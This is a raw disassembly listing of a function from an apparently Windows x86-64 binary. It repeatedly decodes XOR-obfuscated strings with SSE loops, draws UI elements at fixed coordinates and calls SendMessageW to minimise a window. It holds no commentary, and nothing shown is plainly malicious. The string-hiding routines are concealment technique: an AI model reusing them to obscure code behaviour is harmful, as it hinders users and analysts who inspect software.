mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fc2b0
lea rdx, [rbp + 0xd6b]
lea rcx, [rbp + 0x18a0]
call fcn.1400977d0
lea rcx, [rbp + 0x18a0]
cmp qword [rbp + 0x18b8], 0xf
cmova rcx, qword [rbp + 0x18a0]
call fcn.14006cee0
mov dword [rbp + 0x590], 0x41a00000
mov dword [rbp + 0x594], 0x439b0000
lea rcx, [rbp + 0x590]
call fcn.140044e30
mov dword [rdi + 0xe4], 0x3f800000
mov dword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xec], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
lea rcx, [0x14049e6c0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e6c0]
call fcn.14006cee0
mov dword [rbp + 0x598], 0x41a00000
mov dword [rbp + 0x59c], 0x43aa0000
lea rcx, [rbp + 0x598]
call fcn.140044e30
mov rcx, r14
call fcn.140044c30
lea rdx, [0x14049e6e0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e6e0]
lea rcx, [0x14049e640]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e640]
mov r8, qword [0x14049e650]
cmp r8, qword [0x14049e6f0]
jne 0x1400fc5d6
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400fc5d6
mov qword [rdi + 0xe4], 0x3f800000
xor ecx, ecx
mov dword [rdi + 0xec], ecx
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [0x1403250b0]
movups xmmword [rbp + 0xe92], xmm0
movsd xmm0, qword [0x1403250c0]
movsd qword [rbp + 0xea2], xmm0
movzx eax, word [0x1403250c8]
mov word [rbp + 0xeaa], ax
cmp byte [0x1403250c9], cl
je 0x1400fc5b0
mov r8d, ecx
cmp r15d, 2
jl 0x1400fc565
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xe96]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400fc460
cmp r8d, 0x1a
jge 0x1400fc5b0
movsxd rax, r8d
lea r9, [rbp + 0xe92]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400fc580
lea rax, [rbp + 0xe92]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fc5c0
lea rdx, [rbp + 0xe92]
jmp 0x1400fc7e1
xor ecx, ecx
mov dword [rdi + 0xe4], ecx
mov qword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [0x140325098]
movups xmmword [rbp + 0xd81], xmm0
mov eax, dword [0x1403250a8]
mov dword [rbp + 0xd91], eax
movzx eax, word [0x1403250ac]
mov word [rbp + 0xd95], ax
cmp byte [0x1403250ad], cl
je 0x1400fc7c0
mov r8d, ecx
cmp r15d, 2
jl 0x1400fc775
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xd85]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400fc670
cmp r8d, 0x16
jge 0x1400fc7c0
movsxd rax, r8d
lea r9, [rbp + 0xd81]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400fc790
lea rax, [rbp + 0xd81]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fc7d0
lea rdx, [rbp + 0xd81]
lea rcx, [rbp + 0x18c0]
call fcn.1400977d0
lea rcx, [rbp + 0x18c0]
cmp qword [rbp + 0x18d8], 0xf
cmova rcx, qword [rbp + 0x18c0]
call fcn.14006cee0
mov dword [rbp + 0x5a0], 0x41a00000
mov dword [rbp + 0x5a4], 0x43b40000
lea rcx, [rbp + 0x5a0]
call fcn.140044e30
mov dword [rdi + 0xe4], 0x3f800000
mov dword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xec], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
lea rcx, [0x14049e6e0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e6e0]
call fcn.14006cee0
mov dword [rbp + 0x5a8], 0x418c0000
mov dword [rbp + 0x5ac], 0x43c80000
lea rcx, [rbp + 0x5a8]
call fcn.140044e30
movaps xmm7, xmmword [0x1402dae40]
movaps xmm8, xmmword [0x1402dad60]
movaps xmm9, xmmword [0x140327e80]
mov dword [rbp + 0x5b0], 0x43960000
mov dword [rbp + 0x5b4], 0x42200000
movups xmm0, xmmword [str.rPCWY_etL_7_0d]
movups xmmword [rbp + 0xeac], xmm0
movsd xmm0, qword [0x1403250e0]
movsd qword [rbp + 0xebc], xmm0
movzx eax, word [0x1403250e8]
mov word [rbp + 0xec4], ax
xor edi, edi
cmp byte [0x1403250e9], dil
je 0x1400fca80
mov r8d, edi
cmp r15d, 2
jl 0x1400fca36
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xeb0]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400fc931
cmp r8d, 0x1a
jge 0x1400fca80
movsxd rax, r8d
lea r9, [rbp + 0xeac]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400fca50
movdqa xmmword [rsp + 0x60], xmm7
movdqa xmmword [rsp + 0x70], xmm8
movdqa xmmword [rbp - 0x70], xmm9
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f258]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f250]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f248]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f240]
xor r8d, r8d
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0xeac]
call fcn.140070150
test al, al
je 0x1400fcb06
call fcn.140097150
mov dword [rbp + 0x648], 0x4405c000
mov dword [rbp + 0x64c], 0x40a00000
lea rcx, [rbp + 0x648]
call fcn.140044e30
movaps xmm1, xmm10
mov rcx, rbx
call fcn.140040c80
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327eb0]
mov dword [rbp + 0x5c0], 0x42200000
mov dword [rbp + 0x5c4], 0x42200000
movzx eax, word [0x1403250ec]
mov word [rbp - 0x54], ax
cmp byte [0x1403250ed], 0
je 0x1400fcb74
mov byte [rbp - 0x54], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x53], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9c10]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9c08]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9c00]
xor r8d, r8d
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp - 0x54]
call fcn.1400706b0
test al, al
je 0x1400fcbe9
xor r9d, r9d
mov edx, 0x112
mov r8d, 0xf020
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_SendMessageW]
mov dword [rbp + 0x5c8], 0x44124000
mov dword [rbp + 0x5cc], 0x40a00000
lea rcx, [rbp + 0x5c8]
call fcn.140044e30
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327e70]
mov dword [rbp + 0x5d0], 0x42200000
mov dword [rbp + 0x5d4], 0x42200000
movzx eax, word [0x1403250f0]
mov word [rbp - 0x52], ax
cmp byte [0x1403250f1], 0
je 0x1400fcc4b
mov byte [rbp - 0x52], 0x78
xor byte [rbp - 0x51], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9c28]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9c20]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9c18]
xor r8d, r8d
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp - 0x52]
call fcn.1400706b0
test al, al
jne 0x1400fe6fb
call fcn.140040740
nop
mov r8, qword [rbp + 0x18d8]
cmp r8, 0xf
jbe 0x1400fcccf
mov rdx, qword [rbp + 0x18c0]
lea rcx, [rbp + 0x18c0]
call fcn.140094060
mov qword [rbp + 0x18d0], rdi
mov qword [rbp + 0x18d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18c0], 0
mov r8, qword [rbp + 0x18b8]
cmp r8, 0xf
jbe 0x1400fcd0c
mov rdx, qword [rbp + 0x18a0]
lea rcx, [rbp + 0x18a0]
call fcn.140094060
mov qword [rbp + 0x18b0], rdi
mov qword [rbp + 0x18b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18a0], 0
mov r8, qword [rbp + 0x1898]
cmp r8, 0xf
jbe 0x1400fcd49
mov rdx, qword [rbp + 0x1880]
lea rcx, [rbp + 0x1880]
call fcn.140094060
mov qword [rbp + 0x1890], rdi
mov qword [rbp + 0x1898], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1880], 0
mov r8, qword [rbp + 0x1878]
cmp r8, 0xf
jbe 0x1400fcd86
mov rdx, qword [rbp + 0x1860]
lea rcx, [rbp + 0x1860]
call fcn.140094060
mov qword [rbp + 0x1870], rdi
mov qword [rbp + 0x1878], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1860], 0
mov r8, qword [rbp + 0x1858]
cmp r8, 0xf
jbe 0x1400fcdc3
mov rdx, qword [rbp + 0x1840]
lea rcx, [rbp + 0x1840]
call fcn.140094060
mov qword [rbp + 0x1850], rdi
mov qword [rbp + 0x1858], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1840], 0
mov eax, dword [0x14049f068]
jmp 0x1400fcdee
mov rsi, qword [rbp + 0x640]
cmp eax, 3
jne 0x1400fe151
mov qword [rbp + 0x5d8], 0
lea rdx, [rbp + 0x5d8]
lea ecx, [rax + 0xb]
call fcn.140040f40
mov dword [rbp + 0x5e0], 0x41a00000
mov dword [rbp + 0x5e4], 0x41200000
lea rcx, [rbp + 0x5e0]
call fcn.140044e30
call fcn.1400324b0
movaps xmm0, xmmword [0x140327ed0]
movups xmmword [rbp + 0xbc0], xmm0
lea rdx, [rbp + 0xbc0]
xor ecx, ecx
call fcn.140040ee0
mov rcx, rsi
call fcn.140044c30
movsd xmm0, qword [str.fGPD]
movsd qword [rbp + 0x842], xmm0
mov eax, dword [0x140325100]
mov dword [rbp + 0x84a], eax
movzx eax, word [0x140325104]
mov word [rbp + 0x84e], ax
cmp byte [0x140325105], 0
je 0x1400fcff0
mov r8d, edi
cmp r15d, 2
jl 0x1400fcfa6
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fGPD]
xorps xmm2, xmm0
movd dword [rbp + 0x842], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x846]
xorps xmm2, xmm1
movd dword [rbp + 0x846], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x842]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400fcfc0
lea rcx, [rbp + 0x842]
call fcn.14006cdd0
mov esi, 1
mov ecx, esi
call fcn.140040920
movaps xmm0, xmmword [0x140327e10]
movups xmmword [rbp + 0xbd0], xmm0
lea rdx, [rbp + 0xbd0]
xor ecx, ecx
call fcn.140040ee0
mov rcx, r14
call fcn.140044c30
movups xmm0, xmmword [0x140325108]
movups xmmword [rbp + 0x1a8c], xmm0
movups xmm1, xmmword [0x140325118]
movups xmmword [rbp + 0x1a9c], xmm1
movsd xmm0, qword [0x140325128]
movsd qword [rbp + 0x1aac], xmm0
movzx eax, word [0x140325130]
mov word [rbp + 0x1ab4], ax
mov r8d, edi
cmp r15d, 2
jl 0x1400fd1b9
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x1a90]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400fd0b0
cmp r8d, 0x2a
jge 0x1400fd200
movsxd rax, r8d
lea r9, [rbp + 0x1a8c]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x1400fd1d0
lea rcx, [rbp + 0x1a8c]
call fcn.14006cdd0
mov ecx, esi
call fcn.140040920
mov ecx, esi
call fcn.1400409f0
mov dword [rbp + 0x5e8], 0x41a00000
mov dword [rbp + 0x5ec], 0x42b40000
lea rcx, [rbp + 0x5e8]
call fcn.140044e30
mov rcx, r13
call fcn.140044c30
movaps xmm0, xmmword [0x140327e50]
movups xmmword [rbp + 0xc70], xmm0
lea rdx, [rbp + 0xc70]
xor ecx, ecx
call fcn.140040ee0
movups xmm0, xmmword [str.pAGDRVM]
movups xmmword [rbp + 0xc80], xmm0
movzx eax, byte [0x140325148]
mov byte [rbp + 0xc90], al
mov r8d, edi
cmp r15d, 2
jl 0x1400fd3c9
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xc84]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400fd2c0
cmp r8d, 0x11
jge 0x1400fd410
movsxd rax, r8d
lea r9, [rbp + 0xc80]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400fd3e0
lea rcx, [rbp + 0xc80]
call fcn.14006cdd0
mov ecx, esi
call fcn.140040920
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
lea rcx, [0x1404b8e70]
cmp qword [0x1404b8e88], 0xf
cmova rcx, qword [0x1404b8e70]
call fcn.14006cdd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18e0], xmm0
mov qword [rbp + 0x18f0], rdi
mov qword [rbp + 0x18f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18e0], 0
mov r14d, edi
mov rcx, qword [0x1404b8f18]
mov rax, rcx
mov rdx, qword [0x1404b8f10]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x1400fd809
mov rbx, rdi
nop word [rax + rax]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x1400fe722
shl rbx, 6
add rbx, rdx
mov rdx, rbx
lea rcx, [rbp + 0x1c30]
call fcn.1400896b0
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x1c50]
call fcn.1400896b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1900], xmm0
mov qword [rbp + 0x1910], rdi
mov qword [rbp + 0x1918], rdi
mov rdi, qword [rbp + 0x1c60]
lea rsi, [rbp + 0x1c50]
cmp qword [rbp + 0x1c68], 0xf
cmova rsi, qword [rbp + 0x1c50]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400fe74c
cmp rdi, 0xf
ja 0x1400fd54c
mov qword [rbp + 0x1910], rdi
mov qword [rbp + 0x1918], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x1900], xmm0
jmp 0x1400fd5fb
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x1400fd572
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400fd59d
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400fd5c2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400fe746
mov rcx, rax
call fcn.1402c215c
mov rcx, rax
test rax, rax
je 0x1400fe704
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400fd5d7
test rcx, rcx
je 0x1400fd5d5
call fcn.1402c215c
jmp 0x1400fd5d7
xor eax, eax
mov qword [rbp + 0x1900], rax
mov qword [rbp + 0x1910], rdi
mov qword [rbp + 0x1918], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x1900]
lea rcx, [rbp + 0x1920]
call fcn.1400cbd50
mov rbx, rax
lea rax, [rbp + 0x18e0]
cmp rax, rbx
je 0x1400fd6ae
mov rdx, qword [rbp + 0x18f8]
cmp rdx, 0xf
jbe 0x1400fd66a
inc rdx
mov rcx, qword [rbp + 0x18e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fd665
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400fe704
call fcn.1402c1be4
xor edi, edi
mov qword [rbp + 0x18f0], rdi
mov qword [rbp + 0x18f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18e0], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x18e0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x18f0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dil
jmp 0x1400fd6b0
xor edi, edi
mov rdx, qword [rbp + 0x1938]
cmp rdx, 0xf
jbe 0x1400fd6f9
inc rdx
mov rcx, qword [rbp + 0x1920]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fd6f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
